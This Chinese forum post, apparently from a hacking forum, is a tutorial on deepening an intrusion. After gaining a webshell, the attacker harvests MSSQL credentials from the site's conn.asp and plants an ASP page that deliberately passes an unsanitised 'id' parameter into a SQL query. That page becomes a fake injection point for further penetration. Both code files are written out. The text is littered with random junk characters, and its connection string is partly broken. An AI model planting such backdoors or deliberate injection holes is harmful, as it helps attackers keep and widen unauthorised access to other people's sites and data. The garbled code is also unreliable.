自己构造注入点方便入侵3 Y5 q& [/ A E/ l' `- T% h3 H) l
7 P# M# d# D i: D" |
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息' e1 e7 }( t5 ?
' y7 \ r" a3 m! n" x4 f这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
7 E# b! t# F9 a+ i& I0 O6 E$ v
* I& W( }5 I' F' R首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和6 [/ O& T5 h% n5 o- U! E
8 _ g0 B: D) `; G$ l! D
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表' M5 {# U+ }. N3 s9 |$ }7 J* g% o
) D/ \! c$ p* P$ Z& k因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:$ {9 \5 q2 w* d
" g7 D% F/ {( l) X7 _3 B9 Y程序代码
' }! B5 h" M! c3 S<!--#include file="xx.asp"-->
: e U0 Q2 w4 q: n9 t2 g<%% K3 k5 x; b5 R: s6 H! P
set rs=server.createobject("ADODB.recordset")
" z# y2 N4 }- H2 ?; fid = request("id")
9 T$ W; _8 Z6 KstrSQL = "select * from admin where id=" & id: w: t) ^8 h9 P% x9 g0 P- v
rs.open strSQL,conn,1,3
$ i: ]+ l! L0 x! x jrs.close
4 }" p- f# ~5 }$ J' B/ v/ f%>7 _: |2 z8 f T
3 b: A, P: r8 C2 u# E0 }把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
2 T2 O( M. ^, N1 K& A' M) `# q
; `& ^* s4 y2 z你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!: O6 n3 s0 _9 X" D# `8 P# M
' R( J- X* z; J9 }/ e$ r8 _/ `
然后就要构造一个连接数据库的文件了,代码如下:
4 D& m. H/ o$ H$ {程序代码# D1 J3 N6 y- R; Z& s3 j
<%
0 W# I- t( r$ v: {6 Z8 OstrSQLServerName = "000.000.000.000" '服务器名称或地址
* q8 Z9 P; S+ A; C6 Q# p4 dstrSQLDBUserName = "sqlname" '数据库帐号 k) O9 w6 U8 A5 V4 v0 Z7 r
strSQLDBPassword = "sqlpass" '数据库密码& K' c; H7 Y6 l
strSQLDBName = "sqldataname" '数据库名称; h0 l1 w6 a) R& s
Set conn = Server.CreateObject("ADODB.Connection")
! V. S& x3 E8 z' x# ]' Q+ v: EstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
& { A, n) l# {) d( dconn.open strCon' W& T3 t6 e( B, s
%>5 A* ^6 |5 f4 I& g
3 p# @+ o- B, K这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
& l; t1 H0 I7 P- Y! t( b: F
0 [& k6 Y. X. ^3 V2 u* ~ W) Z; T2 D就这样,正常情况下,就OK了,伪造成功……0 K* X4 R7 D1 W7 [& D
: m- y5 A* z+ f
如果有什么问题可以提出来大家一起探讨解决。 |